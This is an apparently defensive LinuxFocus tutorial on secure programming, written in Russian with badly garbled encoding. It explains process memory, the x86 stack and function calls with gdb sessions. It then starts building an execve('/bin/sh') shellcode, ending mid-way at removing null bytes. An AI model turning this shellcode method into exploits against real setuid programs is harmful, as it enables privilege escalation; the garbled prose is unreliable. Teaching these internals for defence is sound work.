Home Map Index Search News Archives Links About LF
[Top bar]
[Bottom bar]
��� �������� �������� �� ��������� ������: English  Castellano  Deutsch  Francais  Nederlands  Russian  Turkce  Korean  

[image of the authors]
����� Fr�d�ric Raynal, Christophe Blaess, Christophe Grenier

�� ������:

Christophe Blaess - ����������� ������� �� �����������. �� ���������� Linux � ������ ������� ����� ����� ������ �� ���� �������. �������� ������������ ��������� man �������, ����������� Linux Documentation Project.

Christophe Grenier - ������� 5 ����� � ESIEA, ��� �� ����� �������� ����������. �������� ���������� ������������ �������������.

Fr�d�ric Raynal ����� ��� ���������� Linux, ������ ��� �� �� ���������� ���������� �����, �� ���������� �� �������, �� ����������� ���������������� ����, �� �������� ���... ������ ������� ���� � ��������.


����������:

 

��� �������� ��� � ������������ ��� ���������� ���������� - ����� 2: ������, ���� � �������, �������

article illustration

������:

� ���� ����� ������ ��������������� �������� ���� ��� � ������������, ������� ����� ��������� � �����������. ������ ���� ������, ��� ������ ������� ����� �������� ���� ��� ������� ������� �������� ������������.

� ������ ������ ��������������� ����������� � ������������� ������ � ������������ ��������������� ����� �������� � �������. � ��������� ������� ������������, ��� �������� �������.



 

��������

� ����� ���������� ������ �� ������������� ���������� ����, ���������� �� ���������� ������� ������. � ���� � ��������� ������ �������������� � ������ ���������������� ���� ���� - ������������ ������. ������� �� ����� ������� ��������� ������ �������������� ����������, �����, �� ������� ����� ��������� ������� ����, ������� �������� ��������� �������� (�������).  

������������� ������

 

��� ����� ���������?

������� �����������, ��� ��������� - ��� ����� ���������� ��������� ���� (�� ������� �������� �� ����, �� ������� ��� ���� ��������), �.�. ��, ��� �� ������ �������� �������� �����. ��� ������ ����������, ��� ��������� ��������� �����, �������� ��� ��������� �������� ����������, ��������� � ����������. � ���� ������� ��������������� ������������� ������ � ��������� ������ ��������� �����.

 

��������� �������

����� ������, ��� ���������� ��� ���������� ��������� ����, ������� ��������� �� ����������� ������. ��� ������� �� ��������� ��������:

ÒÁÓÐÒÅÄÅÌÅÎÉÅ ÐÁÍÑÔÉ

������ ������ ��� �� ���, ������ �� ���������� ������ �� �����, ������� �������� ����� � ���� ������.

������� size -A file --radix 16 ������ ������ ������ �������, ���������������� ��� ����������. ������ ����� ����� ������ �������� � ������ (�� ������ ����� ������������ ������� objdump, ����� ������ ��� ������). ��� ����� size ��� ��������� ����� "fct":

>>size -A fct --radix 16
fct  :
section            size        addr
.interp            0x13   0x80480f4
.note.ABI-tag      0x20   0x8048108
.hash              0x30   0x8048128
.dynsym            0x70   0x8048158
.dynstr            0x7a   0x80481c8
.gnu.version        0xe   0x8048242
.gnu.version_r     0x20   0x8048250
.rel.got            0x8   0x8048270
.rel.plt           0x20   0x8048278
.init              0x2f   0x8048298
.plt               0x50   0x80482c8
.text             0x12c   0x8048320
.fini              0x1a   0x804844c
.rodata            0x14   0x8048468
.data               0xc   0x804947c
.eh_frame           0x4   0x8049488
.ctors              0x8   0x804948c
.dtors              0x8   0x8049494
.got               0x20   0x804949c
.dynamic           0xa0   0x80494bc
.bss               0x18   0x804955c
.stab             0x978         0x0
.stabstr         0x13f6         0x0
.comment          0x16e         0x0
.note              0x78   0x8049574
Total            0x23c8

������� text �������� ���������� ���������. ��� ������� ������������� ������ ��� ������. ��� ����� ��� ���� ���������, ����������� ���� � ��� �� �������� ����. ������� ������ � ��� ������� �������� ������ segmentation violation - ��������� �����������.

����� ����������� �������������� ������ ��������, �������� ���-��� � ���������� � ��. ���������� ���������� ������������ �� ���� ���������, � �� ����� ��� ��������� ���������� - ������ � ��������, ��� ��� ����������. ����������� ���������� ����� ��������� ������, ��������� �� �� ����, ��� �� �����������. ��� ����� ���� char, int, double, ��������� � �.�. �� ������ ���� PC, ��������� ������������ ����� 32-� ������ ����� ����� � ������. ������ ������� �� ������� �� ��������� �� �������� ���� ��� ����������. ������������ ���������� ������������ ����� ���� ���������� ������� ������ - �� ����� ����, ��� ���������, ����������� �� ���� ���������� �����. ����������/���������, �����������/������������ ���������� ����� ���� ������������� ��� ������ �������.

�������� � ����������� ������ ��� ������� ��������. ������� data �������� ������������������ ���������� ����������� ������ (�������� ��������������� �� ����� ����������), � �� ����� ��� ������� bss �������� �������������������� ���������� ������. ��� ������� ��������������� ��� ����������, �.�. �� ������� ���������� � ������������ � ���������, ������� ��� ������.

� ��� ������ ��������� � ������������ ����������? ��� ������������� � ������� ������, ����������������� ��� ���������� ��������� (�������� ����� ������������). �.�. ������� ����� ���������� ����������, ���������� ����������� ��������� ���������� ������� ����������. ��� �� ��������, ��� ����� �������� � ����. ���� ���� ��������� � ������� ������ ������� � �������� ������������ ������������ � �������� �� �������� LIFO(��������� �����, ������ �����). ������ ����� ������� ����������������� ������ ������������ ��� ���������� ������������ ����������. ��� ������� ���������� "����": ��� �������� ������, ���������� �����������, � ������������ ����������. ��� ����������, ��������� - ��� 32-� ������ ���������� � BSS ��� � �����, �� ����������� �� �� ����� �������������� �����. ����� ������� �������� ������ (�������� ��������� malloc), ����� ������� ����� ���� ������ (����� 32-� ������ �����) ���������� � ���������.

 

��������� ������

��������� ������ ���������� ���������� ���������� � ������:

/* mem.c */

  int    index = 1;   //� data
  char * str;         //� bss
  int    nothing;     //� bss

void f(char c)
{
  int i;              //� �����
  /* ����������� 5 �������� � ���� */
  str = (char*) malloc (5 * sizeof (char));
  strncpy(str, "abcde", 5);
}

int main (void)
{
  f(0);
}

�������� gdb ������������ ��� ���.

>>gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb)

��������� ����� �������� � ������� f() � �������� ��������� �� ����� �������:

(gdb) list
7      void f(char c)
8      {
9         int i;
10        str = (char*) malloc (5 * sizeof (char));
11        strncpy (str, "abcde", 5);
12     }
13
14     int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem

Breakpoint 1, f (c=0 '\000') at mem.c:12
12      }

������ �� ����� ������� ���������� ��������� ����������.

1. (gdb) print &index
$1 = (int *) 0x80494a4
2. (gdb) info symbol 0x80494a4
index in section .data
3. (gdb)  print &nothing
$2 = (int *) 0x8049598
4. (gdb) info symbol 0x8049598
nothing in section .bss
5. (gdb) print str
$3 = 0x80495a8 "abcde"
6. (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
7. (gdb) print &str
$4 = (char **) 0x804959c
8. (gdb) info symbol 0x804959c
str in section .bss
9. (gdb) x 0x804959c
0x804959c <str>:     0x080495a8
10. (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261      0x00000065

������� ��� ������� 1 (print &index) ���������� ����� � ������ ���������� ���������� index. ������ ���������� (info) ������ ������, ��������������� � ���� ������� � ����� � ������, ��� �� ����� ���� ������: index - ������������������ ���������� ����������� ���������� �������� � ������� data.

���������� 3 � 4 ������������, ��� �������������������� ����������� ���������� nothing ��������� � �������� BSS.

������ 5 ������� str ... ����������, ���������� ���������� str, �.�. ����� 0x80495a8. ���������� 6 ����������, ��� ������� ���������� �� ���������� �� ����� ������. ������� 7 ��������� ������ ����� ���������� str � ������� 8 ����������, ��� ��� ��������� � �������� BSS.

� 9 ������������ 4 ����� ������������ �� ������ 0x804959c: ��� ����������������� ����� � ����. ���������� � 10 ���������� ���� ������ "abcde":

���������������� �������� : 0x64 63 62 61      0x00000065
������                    :    d  c  b  a               e

��������� ���������� c � i �������� � ����.

�������, ��� ������� ��������� ��������, ������������ �������� size, �� ��������� � ���, ��� �� ������� �������, ������������ ���������. ������� � ���, ��� ��� ���������� ���������, ���������� ��������� ����������, ����������� � ����������� (�������� info variables � gdb, ����� ������� �� ���).

 

���� � ����

������ ��� ��� ������ �������, � ������ ������ ���� ������� ����� ��������� ��� ��������� ���������� � �� ����������(����� ��� ���������� ��������������� ��� ��������, ������������ ��� ���������� �������: �� ���������, �� ��������� ����������, �� ����� �������� � ����� ����������... ��� �� ��������� ��� ���������� ��������, � ������� �� �������� � ���������� ������). ������� %esp (extended stack pointer - ����������� ��������� �����) �������� ����� ������� �����(������� � ����� ������������� ��������� �����, �� �� ��� � ����� �������� �� �������� ��� ������ �������� �� ������ �������� ��������) � ��������� �� ��������� �������, ���������� � ����; � ����������� �� �����������, ���� ������� ����� ������ ��������� �� ������ ��������� ����� � �����.

����� ��������� ���������� � ����� ����� ���� ����������� ��� �������� �� ��������� � %esp. ������, �������� ��� ����� ����������� ��� ��������� �/�� �����, � �������� ������ ���������� ������ ����� ����������������, � ��� ����� ������������. ������������� ������� �������� ��������� ��������� ���������: %ebp (extended base pointer - ����������� ��������� ����) �������� ��������� ����� ��������� ������� �������. ������� ���������� ����� ������������ ��� �������� ������������ ����� ��������. �� �������� ����������, ���� ����������� �������. ������ ����� ����� ��������� � ��������� ���������� � �������.

����������� ������� ����� - �����: �� ����������� i386 ��� �������� 32 ����, �� ���� 4 �����. ���� �������� ������� ��� ������ ����������. �� ����������� Alpha ����� �������� 64 ����. ���� �������� ������ �� �������, ��� ������, ��� ������ ����������� ���������� ���������� ���� � ��� �� ������ �����. �� ������ ��� ����� �������� � �������� ������� �������. ����� ����������� ���������� str ��� ������ gdb � ���������� ������� ������������ ���. ������� x gdb ������� ������ 32-� ������ ����� (������� ��� ����� �������, �.�. ��� ������������ � ������ ������� ������).

������ ������ ��������� ����� 2 ������������ ����������:

 

��������

��� �� ����� ��������? �� ������ ������������� �� ��� �����, ������� ����� ��������� ������ ���� �����, � �� ����� ��� ������ ������� �� ������������������ ����. ������ ��� ��� ����� �������� ���������� � �������, ������ �������� ��������. �������� ��������� ������������ ������ �������������� ����� ������� � ����������� �����������.

������ ����� 'e' � ��������� ��������� ���������� "extended - �����������" � ��������� �� �������� �� 16 ������ � ����������� 32-� ������ �����������.

�������� ����� ���� ��������� �� 4 ���������:

  1. �������� ������ ����������: %eax, %ebx, %ecx � %edx, ������������ ��� ��������������� �������;
  2. ���������� ��������: 16 ������ %cs, %ds, %es � %ss, �������� ������ ����� ������ ������;
  3. �������� ��������: �������� �������� �� ��������� � ���������� ���������:
  4. ����������� ��������: ������������ ������ ����������� �����������.
���������: ��� ��������� ����� � ��������� ��������� ������ � x86, ������ alpha, sparc � �.�. ����� �������� � ������� �������, �� � ������� �����������.  

�������

 

��������

� ���� ������� ��������������� ��������� ��������� �� ������ �� ����������. �� ���������� ����� ������� �� ����� ������������ ��������� ������:
/* fct.c */

void toto(int i, int j)
{
  char str[5] = "abcde";
  int k = 3;
  j = 0;
  return;
}

int main(int argc, char **argv)
{
  int i = 1;
  toto(1, 2);
  i = 0;
  printf("i=%d\n",i);
}

���������� ����� ������� - ��������� ��������� �������� ������� �� ��������� � ����� � ���������. ��������� ����� �������� �������� ������� ���������� ���������. ����� ����������� � ���, ������� �����, ��� ���������� � ������� ��������.

���������� ������� ��������� �� ��� �����:

  1. ������ : ��� ����� � �������, �� ����� �������� ���� � ������ �� ���, �������� ��������� ����� ����� ������ � ���������� ������, ����������� ��� ����������;
  2. ����� �������: ��� ������ �������, �� ��������� ���������� � ���� � ����������� ��������� ���������� (IP), �������� ���������� ���������� ���������� � ������� ����� ����� �������;
  3. ������� �� �������: ��� ������������ �� ���� ����� ��� � ���� �� ������.
 

������

������� ������ ���������� � ����������:
push   %ebp
mov    %esp,%ebp
push   $0xc,%esp       //$0xc ������� �� ���������

��� ��� ���������� ������ ��, ��� ���������� ������. ��������� 1 ������������ ������ ������� ������� toto(), ������� ���� ��������� %ebp � %esp:

��������� 1: ������ �������
ÐÒÏÌÏÇ ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½, %ebp ��������� �� ��������� ����� X � ������. %esp ���� � ����� �� ������ Y � ��������� �� ��������� ������� � ���. ��� ����� � �������, �� ������ ��������� ������ "�������� ���������", �� ������� ��������� %ebp. �.�. %ebp ���������� � ����, %esp ������������� �� ������ �����.
ÏËÒÕÖÅÎÉŠ������ ���������� ��������� ��������� ����� "���������" ��� �������, %ebp ������ ��������� �� ������� �����. ������� %ebp � %esp ��������� �� ���� � �� �� ����� � ������, ������� �������� ����� ����������� ���������.
ÍÅÓÔÏ × ÓÔÅËÅ ÄÌÑ ÌÏËÁÌØÎÙÈ ÐÅÒÅÍÅÎÎÙÈ ï¿½ï¿½ï¿½ï¿½ï¿½ï¿½ ������ ���� �������� ����� � ����� ��� ��������� ����������. ������ �������� ��������� ��������� �� 5 ��������� � ������� ��� ���������� 5 ���� (char �������� ���� ����). ������ ���� �������� ������ �� ������� � ����� �������� ������ ������ ������� �����(���� �����, 2 �����, 3 �����, ...). ����� ��������� 5 ���� � ������ ��������������� �����, ��� ����� ������������ 8 ���� (��� ���� 2 �����). ����� ����� ����� ���� ������������, ���� ���� ��� �� �������� ������ ������. ����� k �������� 4 �����. ��� ����� ������������� ����������� �������� %esp �� 0xc (���������������� 12). ��������� ���������� ���������� 8+4=12 ���� (�.�. 3 �����).

����� ������ ��������� ��������, ������ ����, ������� ���� ����� ���������, - ��� ������������ ��������� ����������: ��������� ���������� ����� ������������� �������� �� ��������� � %ebp. ���������� i=0 � ������� main() ���������� ���. ������������ ��� (�������� ����) ���������� ��������� ��������� ��� ������� � ���������� i:


0x8048411 <main+25>:    movl   $0x0,0xfffffffc(%ebp)

���������������� 0xfffffffc ������������ ����� -4. ������ ��������: ��������� �������� 0 � ����������, ��������� �� "-4 �����" �� ��������� � �������� %ebp. i - ������ � ������������ ��������� ���������� � ������� main(), ������� �� ����� - 4 ����� (�.�. ������ ������) "����" �������� %ebp.

 

�����

����� ��� ������ ������� �������������� ��� ��� ���������, ����� ������� ��������� �� ��������� ���������, � ��� ����������, ������������ � ���������� �������.

� �������� ������� ������� ����� toto(1, 2);.

��������� 2: ����� �������
ÁÒÇÕÍÅÎÔÙ × ÓÔÅËŠ����� ������� �������, ���������, �� �����������, ����������� � ����. � ����� ������� ������� � ���� ���������� ��� ���������� ����� 1 � 2, ������� � ����������. ������� %eip �������� ����� ��������� ���������� ��� ����������, � ����� ������ - ������ �������.
×ÙÚÏ×

��� ���������� ���������� call, %eip ��������� �������� ������ ����������� ����������, ������������ ���� �� 5 ���� (���������� call �������� 5 ���� - �� ��� ���������� ���������� ������� �� �����, ������ ������� �� ������������ ����������). call ��������� �����, ������������ � %eip, ��� ���� ����� ���� ����������� ��������� � ���������� ����� ������ �������. ��� "��������� �����" �������� ������� �����������, ������� �������� ������� � ����:

    push %eip

�������� ������ call � �������� ���������, ������������� ������ ������ ���������� � ������� ������� toto(). ���� ����� ����� ���������� � %eip, ����� ������� ��������� ����������� ��� ���������� ����� ����������, ������������� �� ����� ������.

���������� � ���� �������, �� ��������� � ����� �������� ����� ������������� �������� �� ��������� � %ebp, ��� ��� ��������� ���������� �������� ���� ������� �� ������� �����. ���������� j=0 � ������� toto() ������������ ���. ������������ ��� ����� ���������� ��������� ��������� ��� ������� � j:

0x80483ed <toto+29>:    movl   $0x0,0xc(%ebp)

���������������� 0xc ������������ ����� +12. ������ ����������: ��������� �������� 0 � ����������, ��������� �� �������� %ebp �� "+12 ����". j - ������ �������� �������, �� ��������� �� 12 ���� "����" �������� %ebp (4 ��� ����� ��������� ����������, 4 ��� ������� ��������� � 4 ��� ������� - �������� � ������ ���������� � ������ ��������)

 

�������

����� �� ������� ���������� � ��� ����. ��-������, ���������, ��������� ��� �������, ������ ���� ������� (�.�. ���� ������� %ebp � %eip ��������, ������ �� ������ �������). ������ ���, �� ������ ��������� ����, ����� �������� ����������, ����������� � �������, �� ������� �� ������ ��� �����.

������ ��� �������� � ������� ������������:

leave
ret

��������� - �������� � �������, �� ������� ���������� �����, � ������� � �������� �� ����� ���������� ���������� �������.

�������� ���������� ������ � �������� toto().

��������� 3: ����� �� �������
ÎÁÞÁÌØÎÁÑ ÓÉÔÕÁÃÉÑ ï¿½ï¿½ï¿½ï¿½ï¿½ �� ��������� ��������� �������� �� ������ � �������. ����� ������� %ebp �������� ����� X, � %esp - Y. >����� �� ��������� � ����� ��������� �������, %eip � %ebp � ��������������� ����� ��� ����� ��������� ����������. ��������� ����������� ����������� ����� leave.
leave ���������� leave ������������ ������������������:
    mov ebp esp
    pop ebp

������ ���������� ����� ������ ���, ��� %esp � %ebp ��������� �� ���� � �� �� ����� � �����. ������ - �������� ������� ����� � ������� %ebp. ����� ����� ����������� (leave) ���� ������������ � ��������� ��� �� �������.
×ÏÓÓÔÁÎÏ×ÌÅÎÉŠ���������� ret ��������������� %eip, ����� ������� ������������ ���������� ���������� ������� � ������� �����, �� ���� ����� �������, �� ������� �� �����. ��� ����� ���������� ��������� �������� � ������� ����� � %eip.

�� ��� �� ��������� � ��������� ��������, ��� ��� � ����� ��� ��� ��������� ��������� �������. �������� �� ����� ��������� �����������, ������� ������������ ����� ������� Z+5 � %eip (��������, ��� ��������� ���������� ������, � ����������������� ����, ��� ���������� � �����).

ÕÄÁÌÅÎÉÅ ÐÁÒÁÍÅÔÒÏ× ÉÚ ÓÔÅËÁ �������� ���������� �� ����� ������������ ���������� ��������, ������� ������ ����� ��� �������. ������� ���������������� �� ��������� ��������, � ������������ ����� ������������ � ���������� ������� � add 0x8, %esp � ����������. ��� ���������� ���������� %esp ���� �� ����� �� ������� ����, ������� ������������ ��������� ������� toto(). �������� %ebp � %esp ��������� ������ � ��������, � ������� ��� ���� �� ������. � ������ ������� ������� ���������� %eip ����������� ����.
 

������������������

gdb ��������� �������� ������������ ���, ��������������� �������� main() � toto() :

>>gcc -g -o fct fct.c
>>gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.  GDB is free
software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of
it under certain conditions.  Type "show copying" to see
the conditions.  There is absolutely no warranty for GDB.
Type "show warranty" for details.  This GDB was configured
as "i386-redhat-linux"...
(gdb) disassemble main                    //main
Dump of assembler code for function main:

0x80483f8 <main>:    push   %ebp //������
0x80483f9 <main+1>:  mov    %esp,%ebp
0x80483fb <main+3>:  sub    $0x4,%esp

0x80483fe <main+6>:  movl   $0x1,0xfffffffc(%ebp)

0x8048405 <main+13>: push   $0x2 //�����
0x8048407 <main+15>: push   $0x1
0x8048409 <main+17>: call   0x80483d0 <toto>


0x804840e <main+22>: add    $0x8,%esp //������� �� toto()

0x8048411 <main+25>: movl   $0x0,0xfffffffc(%ebp)
0x8048418 <main+32>: mov    0xfffffffc(%ebp),%eax

0x804841b <main+35>: push   %eax     //�����
0x804841c <main+36>: push   $0x8048486
0x8048421 <main+41>: call   0x8048308 <printf>


0x8048426 <main+46>: add    $0x8,%esp //������� �� printf()
0x8048429 <main+49>: leave            //������� �� main()
0x804842a <main+50>: ret

End of assembler dump.
(gdb) disassemble toto                    //toto
Dump of assembler code for function toto:

0x80483d0 <toto>:     push   %ebp   //������
0x80483d1 <toto+1>:   mov    %esp,%ebp
0x80483d3 <toto+3>:   sub    $0xc,%esp

0x80483d6 <toto+6>:   mov    0x8048480,%eax
0x80483db <toto+11>:  mov    %eax,0xfffffff8(%ebp)
0x80483de <toto+14>:  mov    0x8048484,%al
0x80483e3 <toto+19>:  mov    %al,0xfffffffc(%ebp)
0x80483e6 <toto+22>:  movl   $0x3,0xfffffff4(%ebp)
0x80483ed <toto+29>:  movl   $0x0,0xc(%ebp)
0x80483f4 <toto+36>:  jmp    0x80483f6 <toto+38>

0x80483f6 <toto+38>:  leave         //������� �� toto()
0x80483f7 <toto+39>:  ret

End of assembler dump.
����������, �� ���������� ������, ������������� ����� ���������� �����������, �����, ��������, ��� ������������.  

�������� ��������

� ��������� ������� �������� ������ �� ���������� ����� �������� ����������� ������ �������� �������, ��������� ���������� ��������� ��������� ������������ ���. ��� �������� ��������� ��� ���������, ���� ���������� �������� ��� ID, �������� �� ID ������������(��������� Set-UID ��� �����). ���� ��� ������ ������������ ������, ���� ����������, ����� ��� ��������� ��� ������ ����������, �������� ������ �������������. ��������� ������ Acrobat Reader, ����� ���������� �������� ��� ������� ������������ ������. ��� ������ ����� ������������ � ������� �������� (�������� imap).

� ��������� ������� �� ��������� � ����������, ������������ ��� ���������� ����������. ����� �� ������ ������� ��� ���, ������� �� ����� ��������� � �������� ����������. ���������� ������� - ����� ��� ��� ������� ��������. �������� ������ ����� ���������� ������ ��������, ����� ��� ��������� ���� ������� � /etc/passwd. �� ��������, ������� ������ ����� ����������, ��� ��������� ������ ���� �������� �� ����� ����������. ���� ��� ��������� �������� ��� ������� �������� ������ �������� �������.

������������ ������� ������� �� ������ Aleph One "Smashing the Stack for Fun and Profit" �� ������� Phrack ����� 49.

 

�� ����� ��

���� �������� - ��������� ��������. ��������� ��������� �� �� ������ ���:

/* shellcode1.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name[] = {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  return (0);
}

����� ��������� �������, ��� ������ ������� ����� ������� ��������, ����� ������ �� ��, ����� ������������ execve(). ��-������, ��� ��������� ��������� �����, � ������� �� ������ ������� �� ��������� exec(), ������� �� ���� �������� ��������� ���������� GlibC ����������� �� execve(). ��������� ����� ���������� ��� ������ ����������. ���������� ���������� �������� � �� ��������, ����� �������� ����������� � �������� ������������ ���.

����� ����, ���� execve() ������� ���������, ���������� ��������� (� ����� ������ �������� ����������) ���������� ����������� ����� ����� ��������� � ������ ��� �����������. ���� ����� execve() �������� ����������, ���������� ��������� ������������. � ����� ������� ��� �������� � �������� ���������� ����������. ����������� ���������� ����� ������������� � ���� ����� ���� ��������. ������� ���������� ������ ���� ��������� ��� ������ ��� ��������. return(0) ��������� ����� �� ���������, ������ ���� ��� ���������� ������� �� ������� main(), ��� �� ������ �� ��� ������. ������� �� ������ ��������� ���������� �������� exit().

/* shellcode2.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  exit (0);
}

���������� exit() ��� ��� ���� ������������ �������, ������� ���������� ��� ��������� ��������� ������� _exit(). ����� ��������� ������ ��� ����� � �������:

/* shellcode3.c */
    #include <unistd.h>
    #include <stdio.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  _exit(0);
}
������ ����� �������� ���� ��������� � �� ������������ ������������.  

������ �� ����������

�� ����� ������������ gcc � gdb, ����� �������� ���������� ���������� ��������������� ����� ��������� ���������. ������������ shellcode3.c � ������ ������� (-g) � ������� �������, ������ ����������� � ����������� �����������, � ���� ��������� ��� ������ ����� --static. ������ � ��� ���� ����������� ����������, ����� ������ ������ ������ ��������� ������� _exexve() � _exit().
$ gcc -o shellcode3 shellcode3.c -O2 -g --static
������ ��� ������ gdb �� ��������� �� ������������ ���������� ����� �������. ��� ��� ��������� � Linux �� ��������� Intel (i386 � ����).
$ gdb shellcode3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
�� ������ gdb ���������� ������������ ��� ��� ������� main().
(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 <main>:       push   %ebp
0x8048169 <main+1>:     mov    %esp,%ebp
0x804816b <main+3>:     sub    $0x8,%esp
0x804816e <main+6>:     movl   $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x804817c <main+20>:    mov    $0x8071ea8,%edx
0x8048181 <main+25>:    mov    %edx,0xfffffff8(%ebp)
0x8048184 <main+28>:    push   $0x0
0x8048186 <main+30>:    lea    0xfffffff8(%ebp),%eax
0x8048189 <main+33>:    push   %eax
0x804818a <main+34>:    push   %edx
0x804818b <main+35>:    call   0x804d9ac <__execve>
0x8048190 <main+40>:    push   $0x0
0x8048192 <main+42>:    call   0x804d990 <_exit>
0x8048197 <main+47>:    nop
End of assembler dump.
(gdb)
������ ������� �� ������� 0x804818b � 0x8048192 ��������� ������������ ���������� ��, ���������� ��������� ��������� ������. ��������, ��� ���������� 0x804817c : mov $0x8071ea8,%edx ��������� ������� %edx ���������, ������� �� �����. ��������� �� ���������� ������ �� ����� ������, ��������� ��� ��� ������:
(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)
������ �� �����, ��� ��������� ������. ������� ��������� �� ������������������� ��� ������� execve() � _exit():
(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>:    push   %ebp
0x804d9ad <__execve+1>:  mov    %esp,%ebp
0x804d9af <__execve+3>:  push   %edi
0x804d9b0 <__execve+4>:  push   %ebx
0x804d9b1 <__execve+5>:  mov    0x8(%ebp),%edi
0x804d9b4 <__execve+8>:  mov    $0x0,%eax
0x804d9b9 <__execve+13>: test   %eax,%eax
0x804d9bb <__execve+15>: je     0x804d9c2 <__execve+22>
0x804d9bd <__execve+17>: call   0x0
0x804d9c2 <__execve+22>: mov    0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov    0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push   %ebx
0x804d9c9 <__execve+29>: mov    %edi,%ebx
0x804d9cb <__execve+31>: mov    $0xb,%eax
0x804d9d0 <__execve+36>: int    $0x80
0x804d9d2 <__execve+38>: pop    %ebx
0x804d9d3 <__execve+39>: mov    %eax,%ebx
0x804d9d5 <__execve+41>: cmp    $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe    0x804d9eb <__execve+63>
0x804d9dd <__execve+49>: call   0x8048c84 <__errno_location>
0x804d9e2 <__execve+54>: neg    %ebx
0x804d9e4 <__execve+56>: mov    %ebx,(%eax)
0x804d9e6 <__execve+58>: mov    $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov    %ebx,%eax
0x804d9ed <__execve+65>: lea    0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop    %ebx
0x804d9f1 <__execve+69>: pop    %edi
0x804d9f2 <__execve+70>: leave
0x804d9f3 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804d990 <_exit>:      mov    %ebx,%edx
0x804d992 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804d996 <_exit+6>:    mov    $0x1,%eax
0x804d99b <_exit+11>:   int    $0x80
0x804d99d <_exit+13>:   mov    %edx,%ebx
0x804d99f <_exit+15>:   cmp    $0xfffff001,%eax
0x804d9a4 <_exit+20>:   jae    0x804dd90 <__syscall_error>
End of assembler dump.
(gdb) quit
��������� ����� ���� ���������� ����� ���������� 0x80 �� ������� 0x804d9d0 ��� execve() � 0x804d99b ��� _exit(). ��� ����� ����� ����� ��� ��������� ��������� �������, ������� �������� ������������ �� ����������� �������� %eax. ��� execve(), �� ����� �������� 0x0B , ����� ��� ��� _exit() - 0x01.

��������� 4 : ��������� ������� execve()
ÐÁÒÁÍÅÔÒÙ ÆÕÎËÃÉÉ execve()

������ ���� ������������ ���������� ������� ���� ��� ���������, ������� ��� ����������:

������� ��� ����� ������ "/bin/sh", ��������� �� ��� ������ � NULL ��������� (��� ����������, ��� ��� � ��� �� ���, � ��� ���������, ��� ��� ��� � ��� ������). �� ����� ������� ��������� ������������� ������ ����� ������� execve(). �������� ������ �� ��������� �� /bin/sh � NULL ���������, %ebx ����� ��������� �� ������, %ecx �� ���� ������, � %edx �� ������ ������� ������� (NULL). ��� �������� �� ��������� 5.

��������� 5 : ������������� ������ �� ��������� � ���������
ÄÁÎÎÙÅ
 

���������� �������� � ������

������� ������ ����������� � �������� ��������� ����� ��������� ��������� ������, ���������� ��������� ��� ������ �����. � ����� ������ ��� �������� ��������, �� �� ����� �����, �� �������� �� ����������. � ��� �� �� ������ ����� ����� ������ "/bin/sh". ��������� �������� �������� ��� ��� �������.

��� ������ ������������ ��� ������ ���������� call, ��������� ��������� ����� �������� � ����, ���� ����� ��������������� ������� �� ������� ���������� call (��. ����). ������, ��������� ��� - ��������� ��������� ����� (�������� ������� %ebp ����������� push %ebp). ����� �������� ����� �������� ��� ����� � ������������, ���������� ������� ��� �� ����� ����������� pop. �������, �� �������� ���� ������ "/bin/sh" ��������������� ����� ���������� call, ����� ��������� ������ "������������ �������" ������������ ��� ������ ����� ������. ���� :

 beginning_of_shellcode:
    jmp subroutine_call

 subroutine:
    popl %esi
    ...
    (�������)
    ...
 subroutine_call:
    call subroutine
    /bin/sh

������� ������������ � ��� �� ���������: ��� ����� execve() ����� �������� � ������� ��������� ���������, ��� �� ���������� ��������� � ������� _exit() �������� ���������. ������� %esi ���� ��� ����� ������ "/bin/sh". ������ ����� ����������, ����� ��������� ������, �������� ����� ����� ������: ������ ������� ������� (� %esi+8, ����� /bin/sh + ������� ����) �������� �������� �������� %esi, ������ - � %esi+12 - ������� ����� (32 ����). ��� ����� ��������� ���:

    popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)

��������� 6 ���������� ������� ������:

��������� 6 : ������ ������
ÏÂÌÁÓÔØ ÄÁÎÎÙÈ
 

�������� � ������� ������

��������� ��������� ����� �������� �������� ������ �� ��������, ����� ��� strcpy(). ����� �������� ��� � �������� ����������, ������� ������ ���� ���������� ��� ������. ������ �������� ����������� ���������������, ��� ������ ������� ������� ������. ������� ��� ��� �� ������ ����� �������. ������������� ��������� ��������� ������� ��� �� ��������� ������� ������. �������� ����������

    movl $0x00, 0x0c(%esi)

����� �������� ��
    xorl %eax, %eax
    movl %eax, %0x0c(%esi)

